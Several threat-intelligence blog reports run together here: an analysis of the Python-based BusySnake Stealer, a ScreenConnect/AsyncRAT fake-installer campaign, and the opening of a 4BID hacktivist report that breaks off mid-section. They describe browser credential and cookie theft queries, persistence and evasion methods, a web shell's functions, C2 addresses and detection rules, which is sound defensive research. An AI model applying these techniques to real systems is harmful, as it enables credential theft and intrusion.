The downloaded archives are extracted into the $appdata\WindowsHelper directory. This serves as the malware’s working directory, where all subsequent components of the attack are staged and executed.
The fetched package contains the following components:
The primary payload: a stealer named module.pyw
The runtime directory with the components of the PyArmor execution environment
A Python 3.12 interpreter
The get-pip.py script: used to install the pip package manager and fetch required dependencies
Once executed, the script installs pip and pulls down the core dependencies required for the payload to run.
With all dependencies in place, the malware creates two VBScript files in the same $appdata\WindowsHelper directory. The first, wh_selfdelete.vbs, is used to wipe the initial pnx.exe loader from the system:
Loader removal script
The second script, run.vbs, is designed to execute module.pyw and is used to ensure persistence on the system by creating a scheduled task:
Persistence script
This task ensures that the payload, BusySnake Stealer, is executed every five minutes.
LNK attachment
In alternate campaigns, the archive contains a file named Zayavka_[redacted].lnk. The group leveraged the ZDI-CAN-25373 shortcut vulnerability to conceal the contents of their command line. This flaw allows the attackers to use spaces or line breaks to hide execution parameters.
Consequently, when the user runs the malicious LNK file, it triggers the following obfuscated command:
Obfuscated PowerShell command
This, in turn, spawns a PowerShell command that downloads and executes the malicious loader:
Downloading and executing the loader
Upon execution, the loader downloads and opens a decoy DOCX document. We have observed various decoy themes, ranging from humanitarian aid requests to debt clearance certificates.
Decoy documents
Once the decoy is displayed, the loader initializes the environment variables required to stage the next phase, including URL paths, installation directories, and required library manifests. While we observed variations across different first-stage payload samples, their core functionality remains identical.
Variable initialization example in loader code
Next, the loader fetches a Python 3.12 interpreter (python.zip), the get-pip.py script, and a data.zip archive containing the module.pyw payload. From this point, mirroring the first infection vector, the malware installs its dependencies and establishes persistence through a combination of a VBScript file and a scheduled task.
Example of downloading and installing Python and the pip package manager
As shown in the screenshots, the loader’s source code contains verbose comments and bullet-point emojis. This coding style is highly uncharacteristic of human-developed malware. It strongly indicates that the group is leveraging LLMs to generate their malicious payloads.
Ultimately, both infection vectors lead to the execution of the primary payload, which we break down in detail below.
BusySnake Stealer
The primary payload in this campaign is a previously undocumented, Python-based infostealer that we have dubbed BusySnake Stealer.
The stealer’s source code implements multiple evasion techniques designed to thwart detection and complicate static analysis. Specifically, the BusySnake Stealer code is obfuscated and encrypted using PyArmor Pro version 9.2.0. The malware dynamically decrypts its bytecode only at the exact moment a function is called, re-encrypting the data immediately afterward. Additionally, the malware runs in the background without spawning a console window, as indicated by its PYW file extension.
During our analysis, we successfully stripped the protector and disassembled the executable functions. Below, we break down the stealer’s configuration and core functionality.
Before executing its main routines, the malware initializes its configuration file. It contains the C2 server address, directory paths, regular expressions, screenshot intervals, a User-Agent string for network communications, and many more. An example configuration from one of the captured samples is shown below.
Stealer configuration example
The stealer’s architecture relies on handlers, each responsible for specific functions. The table below details the role of each handler.
Handler Name
Description
single_instance_lock
Prevents multiple instances of the stealer from running concurrently on the compromised host.
start_key_clipboard_logger
Steals data from the system clipboard.
start_inventory_background
Enumerates files across the system and logs their metadata into a local database.
extract_hex64_from_file
Attempts to extract 64-character hexadecimal keys from the files.
start_send_documents_priority_background
Forwards user documents to the C2 server.
take_screenshot
Captures screenshots and saves them to the SCREEN_DIR directory.
archive_pngs
Archives captured screenshots and purges previously created archives from the disk.
poll_task
Waits for incoming C2 commands to execute.
ensure_schtask
Checks for the presence of a scheduled task to maintain persistence. If none is found, it drops a VBScript launcher and registers a new scheduled task.
Below, we break down the execution logic of the malware’s core functions.
Upon execution, the malware calls the single_instance_lock function to ensure that only one instance of the stealer is active on the system. To achieve this, the sample utilizes a non-standard lock-file algorithm, rather than traditional methods like creating a mutex or setting a registry value. The function first checks if the file Roaming\WindowsHelper\screenshots\.lock is locked by another process; if it is, the new instance fails to launch. If the file is not locked, the malware reads the Process ID (PID) stored within it. If that process doesn’t exist and the system uptime exceeds the file’s last modification timestamp, the stealer overwrites the lock file and proceeds with execution.
Immediately after initialization, the start_key_clipboard_logger function begins harvesting data from the system clipboard. The malware polls the clipboard contents in an infinite loop, appending any new or updated data to the KEYLOG_FILE using the following format:
Additionally, the stealer maps out the local file system using the start_inventory_background function.
This background process first initializes a database at Roaming\WindowsHelper\inventory_state.db. Within this database, the stealer generates a tracking table to log file metadata:
sqlite3.connect(STATE_DB_PATH)
execute CREATE TABLE IF NOT EXISTS scanned_files (path TEXT PRIMARY KEY,mtime REAL,size INTEGER)'
The malware then enumerates files and directories to build an object tree. During this scanning phase, the stealer explicitly skips core system directories, ignores files larger than 16 MB, and filters out files matching a hardcoded exclusion list of extensions.
Discovered files are passed to the extract_hex64_from_file function to scrape for 64-character hexadecimal keys. The malware opens each file in read mode and scans for strings matching the [0-9a-fA-F]{64} regular expression. Any identified keys are logged into the previously created database. The keys themselves are written to a separate file and forwarded to the C2 server. Once the full scan wraps up, a completion message is committed to the log file using the following format:
Next, the start_send_documents_priority_background function kicks off to map out logical drives. The malware identifies the system drive and recursively sweeps the user directories under /Desktop, /Documents, and /Downloads. During this enumeration phase, it filters the paths — checking only directories whose names start with $ and do not contain the string System Volume Information. Directory contents are also filtered based on an ignore list of extensions. The remaining files are then checked: if a file has not been previously sent and its size does not exceed 5 MB, it is transmitted to the C2 server.
The stealer maintains an active connection with the C2 server to await incoming instructions during execution. The poll_task function polls the C2 server in a continuous loop for new commands. Below is an excerpt of a typical request packet:
GET /get_task?client_id=DESKTOP-[redacted] HTTP/1.1\r\n
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
The C2 sign-in form interface is shown below:
C2 administration panel sign-in form
Commands are transmitted from the C2 server as function names, which are detailed in the table below:
Function Name
Description
handle_send_screenshots_command
Captures screenshots at a designated interval, bundles them into an archive, and exfiltrates them to the C2 server.
send_and_clear_keystroke_log
Exfiltrates logged keystroke data to the C2 server and clears the log file afterward.
handle_extract_chromium_passwords
Decrypts stored passwords from Chromium-based browser databases using the DPAPI.
handle_extract_firefox_passwords
Decrypts passwords from Firefox databases by invoking the PK11SDR_Decrypt function.
handle_collect_and_send_cookies
Extracts cookies from browser databases and uploads them to the C2 server.
handle_extract_cookies_v7_command
Extracts cookies by installing an extension into the browser.
handle_search_2fa_secrets_command
Scrapes for OTP keys by continuously monitoring the clipboard and parsing local files; if an otpauth:// string is matched, the key is logged to 2fa_secrets.txt.
handle_search_wallet_jsons_command
Sweeps user directories to locate cryptocurrency wallet files with a JSON extension.
handle_split_and_send_tdata_command
Harvests Telegram session and credential data from the APPDATA/Telegram Desktop/tdata directory; it force-terminates the telegram.exe process, stages the files in a temporary directory, compresses them, and exfiltrates the archive to the C2 server.
Establishes a reverse SSH tunnel using an SSH command and private key previously received from the C2 server.
The second function terminates the connection and purges the key from the host.
handle_remote_control_command
Checks for an active installation of RustDesk on the endpoint. If missing, it downloads the application from GitHub. If already present, it restarts the RustDesk process to prompt the user to re-enter their ID and password, grabs a screenshot of the credentials, and exfiltrates the captured data to the C2 server.
After executing each command, the stealer sends a report back to the C2 server containing the task completion status.
Password exfiltration from Firefox and Chromium-based browsers
When BusySnake Stealer receives a C2 command to harvest passwords from Chromium-based browsers, it passes the task to the handle_extract_chromium_passwords function. The malware locates the specific browser data directory, verifies that it is not empty, and targets the Login State file, which contains the master key used to encrypt the local password database.
Locating the file containing the master key
The master key is protected via the Windows Data Protection API (DPAPI). By operating within the security context of the user who originally encrypted the key, the stealer is able to decrypt it using the win32crypt.CryptUnprotectData() function.
Master key decryption
Then, user accounts are extracted from the browser database via an SQL query, while passwords remain encrypted.
SELECT origin_url, username_value, password_value FROM logins
Next, the passwords are decrypted using a master key and saved in plaintext to the Roaming\WindowsHelper\chromium_passwords.json file.
For Firefox, the exfiltration workflow follows a similar logic. The stealer receives a command to extract browser credentials, which is then processed by the handle_extract_firefox_passwords function. The implant then scans the Mozilla\Firefox\Profiles directory and checks each user profile for the presence of both logins.json and key4.db. If either file is missing, the profile is skipped. The malware then parses the contents of logins.json, extracting the hostname, encryptedUsername, and encryptedPassword fields from each entry.
Credential extraction
The extracted data is placed into a SECItem structure. Upon calling the NSS_Init() function, the NSS library — which Firefox relies on — automatically initializes its built-in cryptographic module and accesses the key4.db database. If the database is not protected by a master password, the module loads the signing key stored within it. In this scenario, the PK11SDR_Decrypt() function can successfully decrypt the credentials without requiring any user prompts or additional steps. Thus, BusySnake Stealer exploits insecure Firefox browser practices: storing the database master key in plaintext and the lack of re-authentication when decrypting data with it.
Credential decryption
The decrypted credentials are saved directly to the Roaming\WindowsHelper\firefox_passwords.json file.
Cookie extraction
The stealer harvests cookies using a workflow nearly identical to its browser credential theft routine. Upon receiving the handle_collect_and_send_cookies command from the C2 server, the malware triggers the corresponding function. It then scans browser directories for the following database files: Cookies for Chromium-based browsers and cookies.sqlite for Firefox. Once located, it uses SQL queries to extract the cookies.
For Chromium-based browsers, the malware executes the following query:
SELECT host_key, name, value, encrypted_value, path, expires_utc FROM cookies
For Firefox, it uses this query:
SELECT host, name, value, path, expiry FROM moz_cookies
All harvested data is decrypted and saved to a file located at Roaming\WindowsHelper\all_browser_data.json, which is then exfiltrated to the C2 server and wiped from the host.
In addition to this method, the stealer fetches a supplementary module designed to extract cookies by installing a browser extension. Upon receiving the appropriate directive, the malware executes the handle_extract_cookies_v7_command function. It then pulls down the additional module as an archive from the Releases page of a GitHub repository, mirroring the initial staging process used by the stealer itself.
The source code of this secondary module is also protected with PyArmor. Once executed, the module spins up a local web server to capture and parse the cookies extracted from the browser. Next, the module creates the files for a browser extension used to steal cookies:
manifest.json: details the extension structure and required permissions
sw.js: contains the primary execution logic for the extension
Once these components are staged, the extension is installed into the browser.
Extension configuration file (manifest.json)
Extension execution logic (sw.js)
To ensure Google Chrome launches with the extension installed, the module uses specific arguments to start the browser.
Chrome execution parameters
Once active, the extension verifies the availability of the local web server initialized during the previous stage. If the server is responsive, the extension reads the cookie data, stores it in a cookiesData object, and transmits it to the following URL:
http://127.0.0.1:8000/?data_type=c
The local server processes the incoming payload, saves it to a file named extracted_cookies.json, and subsequently exfiltrates it to the C2 server.
Reverse SSH tunneling
The group previously used a Go-based tool for creating reverse SSH tunnels, named Go2Tunnel by researchers. BusySnake Stealer implements a similar feature as a built-in function.
The implant receives a directive from the C2 server to establish a reverse SSH tunnel, routing the task to the handle_start_proxy_command function. The stealer initially sends a request to the following URL, appending the victim’s unique machine identifier to the request parameters:
The malware extracts the private key and the specific SSH command from this response. Using these components, it initiates a connection to a remote server controlled by the attackers, granting them persistent remote access and interactive control over the compromised host.
To close the tunnel, the stealer receives the handle_stop_proxy_command command and processes it with the function of the same name, after which the private key file is deleted and the associated SSH process is terminated.
New version of the BusySnake Stealer
During our infrastructure analysis of the threat actor, we uncovered a newer iteration of the stealer. The distribution method and static obfuscation mechanism remained unchanged; however, Armored Likho modified their TTPs and altered the code structure of BusySnake Stealer.
In the new version, instead of calling schtasks directly, the malware uses the win32com.client library to create scheduled tasks through interaction with the Schedule.Service COM object, indicating a shift toward less detectable execution methods.
Creating a scheduled task via the COM object
This approach ensures a more stealthy persistence mechanism. Furthermore, to bypass dynamic analysis mechanism, the authors added a function that pauses execution before triggering malicious routines.
We also observed refinements to the architectural design of BusySnake Stealer. The attackers built a new task-management framework to handle incoming C2 commands. Each task is assigned a unique identifier, and before execution, the stealer checks for the presence of this task in a specified list. To track execution states in real time, tasks are dynamically assigned one of four operational statuses: SCHEDULED, IN_PROGRESS, SUCCEEDED, or FAILED.
The introduction of task execution statuses resulted in an updated C2 communication schema. The updated endpoints and request packet structure are detailed in the table below:
One of the most significant architectural upgrades is the introduction of a dedicated class designed to execute arbitrary Python scripts. In this updated variant of the stealer, the poll_commands function is responsible for retrieving commands from the C2 server, while the poll_tasks routine is specifically dedicated to fetching Python scripts. Before running a retrieved script, the malware dynamically installs any required dependencies via pip. It then spawns a new process and executes the script’s code directly within memory without ever writing the file to disk — a technique intended to bypass security.
Attribution
We attribute this campaign to the Armored Likho threat group with medium confidence, basing our assessment on the analysis of the tools and network activity.
In previously identified campaigns, the group used the Go2Tunnel tool designed to create reverse SSH tunnels. In BusySnake Stealer, similar functionality is implemented as a built-in feature. Both tools receive a tunnel establishment command and a private SSH key from the C2 server, while making requests to similar endpoints. Furthermore, both payloads initiate their tunnels using SSH commands with an identical set of arguments:
The Armored Likho group has historically deployed the AquilaRAT remote access Trojan. It shares a similar structure with BusySnake Stealer: the malware receives tasks from the C2 server, and their execution is carried out by dedicated handlers. Additionally, BusySnake Stealer and AquilaRAT utilize similar endpoints for C2 communications — for example, when reporting task execution statuses back to the server:
AquilaRAT
Another structural overlap is seen in their persistence mechanisms. Both BusySnake Stealer and AquilaRAT maintain their footprint on compromised hosts by registering scheduled tasks that masquerade as legitimate Microsoft system utilities. While AquilaRAT typically names its task MicrosoftOfficeUpdate, BusySnake Stealer uses the name WindowsHelper.
Victims
We continue to actively monitor the ongoing deployment campaigns of BusySnake Stealer, alongside its related artifacts and network infrastructure.
To date, confirmed victims have been identified across Russia, Kazakhstan, and Brazil. The attacks are primarily focused on the governmental and electrical power infrastructure sectors.
Takeaways
An analysis of Armored Likho’s campaigns over the past few months shows a trend toward using AI tools to generate first-stage payloads, as indicated by redundant comments and code blocks. This allows the group to broaden its available attack vectors.
In parallel, the group is aggressively refining and modifying its core toolkit. While Go2Tunnel previously operated as a standalone utility, its reverse-tunneling functionality has now been integrated directly into the stealer as a built-in feature that ingests parameters from the C2 server. Furthermore, the structural design of this newly discovered stealer shares pronounced architectural overlaps with AquilaRAT, another staple tool in the group’s arsenal.
At the time of writing, Armored Likho remains highly active. Despite the evolution of their malware variants and their efforts to obfuscate their TTPs, we continue to closely monitor the group’s footprint and detect emerging campaigns.
Defensive solutions detect the threat actor’s activity at the initial stage when the LNK downloader is executed. Upon execution, the shortcut runs an obfuscated command via rundll32.exe, which subsequently triggers a PowerShell command to pull down the second-stage payload. This malicious chain of events is caught by the following detection rules:
The Kaspersky Cloud Sandbox solution can be used for a comprehensive analysis of the malicious activity described here. The figure below shows the Kaspersky Cloud Sandbox interface, demonstrating the event chain of the obfuscated command execution by the LNK downloader.
LNK downloader execution graph in Kaspersky Cloud Sandbox
Additionally, inside Kaspersky Cloud Sandbox, it can be observed that during execution the stealer contacts remote URLs to download additional files, specifically a DOCX decoy document as well as the web_script.txt stager.
File downloads by the LNK downloader in Kaspersky Cloud Sandbox
If the EXE dropper is executed, Kaspersky Cloud Sandbox also records the downloading of additional tools from a GitHub repository.
EXE dropper execution graph in Kaspersky Cloud Sandbox
File downloads by the EXE dropper in Kaspersky Cloud Sandbox
Furthermore, dynamic analysis results show that the sample writes an additional file to the disk, which is used in subsequent stages of the attack.
Malicious file written to disk by the EXE dropper in Kaspersky Cloud Sandbox
UPD 03.07.2026: added a package of rules and recommendations that help detect the described malicious activity for companies using our Kaspersky SIEM system.
Introduction
To access compromised systems, threat actors frequently abuse legitimate remote monitoring tools. At first glance, these utilities rarely raise red flags: they are signed with valid digital certificates, often allowlisted under corporate IT policies, and fully supported by OS vendors. However, they grant attackers the ability t
UPD 03.07.2026: added a package of rules and recommendations that help detect the described malicious activity for companies using our Kaspersky SIEM system.
Introduction
To access compromised systems, threat actors frequently abuse legitimate remote monitoring tools. At first glance, these utilities rarely raise red flags: they are signed with valid digital certificates, often allowlisted under corporate IT policies, and fully supported by OS vendors. However, they grant attackers the ability to harvest data from target devices, drop malware, and move laterally across the network.
During a recent investigation engagement, the Kaspersky Managed Detection and Response (MDR) team discovered the ScreenConnect remote access tool being leveraged to deploy and execute an AsyncRAT payload.
A deep dive into this single incident unraveled a massive campaign distributing malicious installer archives hosted on spoofed websites. These installers masquerade as popular software like OBS Studio, DNS Jumper, DS4Windows, Bandicam, and others. In total, we uncovered more than 90 domain names localized across 10 languages. The malicious archives bundle a legitimate, signed Microsoft install.exe binary alongside a rogue install.res.1033.dll library. It is loaded onto the device via DLL sideloading and deploys the ScreenConnect service, which awaits further instructions from the threat actors.
As a result, what initially appeared to be an isolated ScreenConnect incident served as the starting point for a full investigation into the threat actor’s C2 infrastructure. Every spoofed site we uncovered followed the exact same playbook: dropping a hidden ScreenConnect remote administration service under the guise of a legitimate software installer. This allowed the attackers to maintain control over compromised endpoints, with victims ranging from individual users to organizations.
We continue to break down complex, multi-stage incidents like this in our ongoing The SOC Files series. In this post, we take a deep dive into the technical execution of the ScreenConnect attack and analyze the broader infrastructure under the threat actor’s control.
Initial incident investigation
The investigation was triggered by an alert from Kaspersky MDR, which flagged the creation and execution of suspicious PowerShell and VBS scripts spawned by a ScreenConnect process.
About ScreenConnect
ScreenConnect is a legitimate remote management utility. Kaspersky solutions detect it as not-a-virus:HEUR:RemoteAdmin.MSIL.ConnectWise.gen.
ScreenConnect was running as an Access-type service — enabling direct remote connectivity — with the server explicitly passed via the command line:
ScreenConnect service execution event with suspicious parameters
Once running, ScreenConnect created and executed a PowerShell script named Fj5NmEsp9EuKrun.ps1:
Malicious PowerShell script creation
Below is an excerpt from the contents of the script:
Snippet of Fj5NmEsp9EuKrun.ps1
This script configures Microsoft Defender exclusions for the following objects:
All disks in the system: C:\, D:\, and others
All root directories on the C:\ drive, as well as the C:\Users\Public directory
RegAsm.exe process
Additionally, the script disables User Account Control (UAC) prompts by setting the ConsentPromptBehaviorAdmin registry parameter to 0.
Following this setup, the ScreenConnect service goes on to create a VBScript file:
Malicious VBScript creation
The installer_method3_stream.vbs script creates five files in the C:\Users\Public directory (msgbox.txt, secret_bytes.txt, 1.vb, cap.ps1, and script.vbs) and immediately triggers their execution by launching script.vbs.
Contents of script.vbs
This script terminates all active powershell.exe processes to cover its tracks and executes cap.ps1 in a hidden window.
Contents of cap.ps1
cap.ps1 reads the contents of the secret_bytes.txt file, extracts sequences matching the [SXX- pattern, and converts XX from hexadecimal representation to a byte. It then uses a 0xA7 XOR key to decrypt each byte and inverts the bit order. The resulting byte array yields a fully formed PE binary, which is then reflectively loaded into the CLR.
Within the loaded assembly, the ConsoleApp1.Module1 type contains a static method named Run. The script uses reflection (Reflection.BindingFlags) to resolve a reference to this method and invoke it.
The Run method executes a process hollowing technique (T1055.012), spawning a new RegAsm.exe process with the CREATE_SUSPENDED flag. The deobfuscated and decrypted PE image from secret_bytes.txt is then copied into its address space. As a result, the RegAsm.exe process no longer executes its original code, instead serving as a container for the injected .NET module — which, in this case, is the AsyncRAT remote access Trojan.
To establish persistence, the malware schedules a task named MasterPackager.Updater:
This task triggers every two minutes, ensuring that script.vbs — and consequently the entire loader chain — executes even after a system reboot.
Once the entire infection chain successfully executes, the RegAsm.exe process establishes a connection to the C2 domain mora1987[.]work[.]gd.
AsyncRAT infection and persistence chain via ScreenConnect
How ScreenConnect entered the system
A retrospective analysis of the incident allowed us to pinpoint the source of the ScreenConnect installation: a user-downloaded archive named obs-studio-windows-x64.zip.
The archive was downloaded from hxxps://www.studioobs[.]com/, a typosquatted domain mimicking the official site for OBS Studio, a popular open-source screen recording app. This site is present in search engine results; in this specific incident, the user landed on the malicious domain directly from a search query, a vector we analyze in more detail below.
Clicking the download button for the supposedly legitimate software triggers a request to the following URL, from which the archive is fetched:
The archive contains a legitimate, Microsoft-signed executable named install.exe (87603EA025623B19954E460ADD532048), renamed to masquerade as the OBS Studio installer, along with a malicious library named install.res.1033.dll. Additionally, the archive includes an Assets folder containing both a copy of the actual software being impersonated and the ScreenConnect utility.
Contents of obs-studio-windows-x64.zip
The complete file structure of the archive is organized as follows:
Detailed directory tree of obs-studio-windows-x64.zip
When OBS-Studio-Installer.exe is executed, it loads install.res.1033.dll via DLL sideloading. This library contains the instructions required to install both ScreenConnect and OBS Studio. The deployment relies on native Windows utilities (msiexec.exe), but the attackers renamed the standard MSI packages to look like DLL files:
Once the installation wraps up, a new service named Microsoft Update Service is created. The command line for this service explicitly defines the connection server as r[.]servermanagemen[.]xyz.
Meanwhile, the MSI package for the actual OBS Studio software runs using a standard graphical user interface.
ScreenConnect and OBS Studio installation workflow
Expanding the investigation
The attackers’ reliance on the legitimate install.exe binary provided a crucial pivot point for our broader investigation. We discovered that this specific file was being deployed in the wild under a variety of suspicious aliases, including:
ds4windows.exe
crosshairx_installer.exe
obs-studio-installer.exe
dns jumper.exe
glary utilities pro.exe
processhacker-2.39-setup.exe
These file names indicate that the threat actor was disguising their ScreenConnect archives as popular utilities beyond OBS Studio. Among the fakes, we identified counterfeit installers for DS4Windows, DNS Jumper, Glary Utilities, and Process Hacker. Crucially, when we search for these utilities on major search engines, these fraudulent sites frequently appear at the very top of the organic search results. This indicates that the threat actor is actively leveraging SEO techniques to boost traffic to their landing pages.
Spoofed software portals appearing in search engine results
For example, here is how the fraudulent download portal for DNS Jumper looks:
Fake website mimicking the official DNS Jumper resource
On this page, the download button directs users to the following address:
Just like the OBS Studio variant, this drops an archive onto the victim’s device with an identical structure: a renamed legitimate install.exe file, a sideloaded library, and an Assets directory containing the promised software packaged alongside ScreenConnect.
Contents of the DNS Jumper and ScreenConnect archive
Other fraudulent websites that appear in search engine results when querying the corresponding software are designed in a similar fashion.
Spoofed websites used to distribute ScreenConnect
Notably, the vast majority of the fraudulent sites we uncovered are localized into English, Russian, and Chinese. In several instances, the pages were also translated into German, French, Spanish, Arabic, and other languages. This multi-language support underscores the global footprint of the campaign, targeting a broad user base across multiple regions.
Language localization options on a ScreenConnect delivery site
Fake domain infrastructure
To distribute ScreenConnect disguised as freeware, the threat actor spun up an extensive network of domain names mapped across three IP addresses. We have categorized these into two distinct infrastructure clusters.
Cluster 1: 162.216.241[.]242 and 198.23.185[.]81
```
162.216.241[.]242
Country: United States
Org name: Dynu Systems Incorporated
```
The connection graph below illustrates the campaign websites tied to IP address 162.216.241[.]242, which hosts the previously mentioned www[.]studioobs[.]com domain.
URL connection graph for IP 162.216.241[.]242
Looking into the registration dates for the domains on this IP, we found that the threat actor initially attempted to disguise their sites as various gaming portals:
Subsequently, starting in January 2026, they shifted strategy and began registering fake domains designed to mimic popular freeware:
In this specific branch of the ScreenConnect campaign, the malicious archives are hosted on fileget.loseyourip[.]com. Notably, the download resource is hosted on a completely separate provider:
```
198.23.185[.]81
Country: United States
Org name: NOHAVPS LLC
```
Our analysis of this second IP address revealed that it also hosts additional resources tied to the campaign, including fake gaming sites and supplementary download links:
Below is an infrastructure graph showing this IP address and its hosted domains. Notably, unlike the previous case, this address also hosts direct-download.giize[.]com, a resource used to store distributed malicious archives.
URL connection graph for IP 2.59.134[.]97
In this branch of the campaign, the threat actor skipped game-themed lures entirely, focusing exclusively on creating fraudulent freeware sites that bundled ScreenConnect with the requested application. The domains hosted on IP address 2.59.134[.]97 were registered between October 2025 and March 2026.
The chart below shows the volume of fraudulent websites created month by month:
Breakdown of ScreenConnect delivery sites by theme, August 2025 through March 2026 (download)
C2 infrastructure analysis
In total, we identified dozens of different archives distributed across this campaign. All of them share a uniform file structure, containing the malicious install.res.1033.dll library and the ScreenConnect MSI package located at Assets\x86\vcredist_x64.dll.
In some instances, the ScreenConnect installation package also bundles a CAB archive.
Contents of the CAB archive
This archive contains a system.config XML file, which defines the connection address for the ScreenConnect C2 server:
Contents of system.config
By analyzing these ScreenConnect installations, we uncovered additional C2 addresses, which are mapped out in the following graph:
Connection graph of ScreenConnect C2 domains
The next graph illustrates the AsyncRAT command-and-control infrastructure:
AsyncRAT C2 server infrastructure
Based on the registration dates of the C2 domains, we can determine that the campaign was launched in October 2025 and paused at the end of March. However, at the time of publication, many of the landing pages remain accessible via search engine results.
Takeaways
Investigating a single case of AsyncRAT delivered via ScreenConnect allowed us to uncover a massive, multi-domain, multi-language infrastructure designed to distribute a hidden installer for this software and further advance the attack. The threat actor disguises ScreenConnect as popular utilities and distributes it through fraudulent websites that mimic official product pages. The attackers leverage search engine optimization techniques to push these sites to the top of search results in engines like Google and Bing.
This attack chain targets both everyday consumers downloading free software from the internet and corporate networks, where remote access tools are frequently allowlisted and granted elevated privileges.
The potential objective of the campaign is to steal credentials en masse and gain unauthorized access to systems for subsequent resale on dark web marketplaces.
To mitigate the risks associated with this threat, we recommend implementing the following security measures:
Enforce strict software installation controls: application allowlisting and blocking MSI package execution from untrusted sources
Continuously monitor for the creation of new remote administration services and scheduler tasks
Filter outbound traffic to unknown domains and IP addresses
Regularly train users on safe downloading practices
Verify the authenticity of all software sources
For enterprise users, credential monitoring is a critical mitigation strategy against the risks detailed in this article, as a leaked account or compromised system access frequently serves as a vector for subsequent attacks on the organization. Kaspersky Digital Footprint Intelligence provides continuous data monitoring across open and dark web sources, enabling security teams to respond proactively to potential threats.
Malicious code injection into the RegAsm.exe process — leveraged by attackers to masquerade execution behind a trusted system component — is detected via the code_injection_to_unusual_process rule.
To visualize the stages of the attack, security teams can utilize Kaspersky Cloud Sandbox on the Threat Intelligence portal. For instance, this tool allows defenders to map out the entire deployment and payload execution chain originating from the initial VBS dropper.
Furthermore, the Kaspersky Threat Intelligence portal supports searching and graphing the connections between malicious domains and files involved in this campaign, as demonstrated in our adversary infrastructure analysis section.
Finally, the Similarity engine within Kaspersky Threat Analysis profiles file contents to hunt down samples resembling the original threat, helping organizations identify new or previously undetected malicious objects.
To protect companies using our Kaspersky SIEM system, there are rules available in the product repository to help detect this type of malicious activity.
Adding exclusions to Windows Defender scans via the registry is detected by rule R241_Modification of Windows Defender exclusions through the registry. Adding exclusions via PowerShell (Add-MpPreference -ExclusionPath|ExclusionProcess) is detected by rule R076_04_Windows Defender settings disabled or changed via PowerShell.
Bypassing the UAC mechanism by modifying the ConsentPromptBehaviorAdmin registry key is detected by rule R242_UAC disabled through the Windows registry.
Running VBS scripts from a public directory triggers rule R290_07_Running VBScript files from shared folders.
Creating a scheduled task that runs an executable file from a public directory triggers rule R099_01_Scheduled task started from a public folder.
For the rules to function correctly, it is necessary to configure event 4657 (Security) audit for the following registry keys:
Additionally, when developing your own detection rules or conducting threat hunting for suspicious ScreenConnect behavior, we recommend monitoring the following events:
Creation of the ScreenConnect service with suspicious parameters
DeviceEventClassID = '4697'
AND FileName LIKE '%ClientService.exe%'
AND (FileName LIKE '%e=Access%' OR FileName LIKE '%e=Support%')
Launch of atypical child processes from the ScreenConnect service
DeviceEventClassID = '4688'
AND match(SourceProcessName, '.*\\\\ScreenConnect\\.(ClientService|WindowsClient|WindowsBackstageShell|WindowsFileManager)\\.exe')
AND match(DestinationProcessName, '.*\\\\(powershell|cmd|net|schtasks|sc|msiexec|mshta|rundll32)\\.exe')
While tracking the activities of 4BID we uncovered a new string of campaigns that appear to be the work of several interconnected actors. While politically motivated groups generally limit their scope to specific nations – for 4BID and its peers, primarily Russian and occasionally Belarusian organizations – our latest findings reveal a shift. The actual geographic footprint of these attacks became broader than expected, striking companies across Kazakhstan, the UAE, Syria, and Egypt.
What trigge
While tracking the activities of 4BID we uncovered a new string of campaigns that appear to be the work of several interconnected actors. While politically motivated groups generally limit their scope to specific nations – for 4BID and its peers, primarily Russian and occasionally Belarusian organizations – our latest findings reveal a shift. The actual geographic footprint of these attacks became broader than expected, striking companies across Kazakhstan, the UAE, Syria, and Egypt.
What triggered our investigation was spotting a cluster of indicators of compromise within a breached Russian organization’s infrastructure. We used these footprints to successfully track down other environments hit by the same threat actors and piece together the bigger picture.
This article dives into the software deployed throughout these hacktivist campaigns:
New ransomware samples
Scripts used at various stages of the attacks
Commercially available IT remote monitoring and management (RMM) tools
These include both updated versions of known threat-actor tools and previously unseen software.
Overlapping activity streams
Within the initial organization’s infrastructure, we found numerous activity indicators linked to several interconnected hacktivist groups – which ultimately set the direction for our follow-up analysis. We can attribute the following findings to hacktivist activity with a medium level of confidence:
Several samples of BlackReaperRAT, which we attribute to the 4BID group, were found alongside scripts designed to download Panorama9 RMM, AnyDesk, and Dev Tunnels.
Besides the artifacts listed above, we discovered ClearWater ransomware in other compromised infrastructures. Interestingly, during this same window, public sources showed Hakerskii Kit claiming a successful attack on a Russian factory. Also detected in that facility’s infrastructure was ClearWater ransomware, with the attackers publicly thanking the С.A.S. group for their contribution.
We uncovered several samples of Warp RAT within the hit infrastructures, which we link to the Goffee threat group. A detailed report on this specific activity will be published at a later date.
Technical details
Vulnerable web servers and fd.aspx
Analysis of the compromised environments revealed that the attackers gained initial access in most cases by exploiting the ProxyShell vulnerability in Microsoft Exchange, which allows for full server compromise.
Once inside, the attackers deployed the fd.aspx web shell – a modular ASP.NET file designed for remote control, file transfers, and system reconnaissance. Communication with the web shell relied on a basic security check: if the key parameter in an incoming request failed to match the AUTH_KEY constant, fd.aspx simply returned “Access Denied”.
Access key verification
If the verification was successful, the command contained in the request’s scriptText parameter was passed directly to PowerShell, and the output returned to the operator in the body of the HTTP response. In environments where PowerShell execution was restricted, the web shell swapped it out for cmd.exe. The CreateNoWindow: true and UseShellExecute: false flags were used to keep the command execution hidden from the user.
Beyond running commands, the web shell features bidirectional Base64-encoded file transfers. This allows any binary data – like executables, archives, or certificates – to be passed right inside the body of an HTTP request. The UploadFile function writes files to any directory the web server process can access, which makes it easy to drop additional shells or swap out legitimate files. The DownloadFile function exfiltrates any accessible file from the compromised system back to the attackers’ C2 server.
The web shell also includes a system reconnaissance feature that grabs the following data points:
OSVersion: operating system version
MachineName: hostname
UserName: current username
UserDomainName: domain name
ProcessorCount: number of processors
SystemDirectory: system directory path
CurrentDirectory: current working directory
Version: .NET Framework version
Additionally, the reconnaissance feature uses the DriveInfo.GetDrives() function to enumerate running processes and map out connected drives – along with the amount of free space available on each. This file system reconnaissance is topped off with LastWriteTime metadata for each object, which helps the operator quickly spot recently modified files and get their bearings within the storage layout.
Alongside the web shells, we encountered a variety of scripts and C2 frameworks across all compromised infrastructures, which we break down below.
Scripts deployed
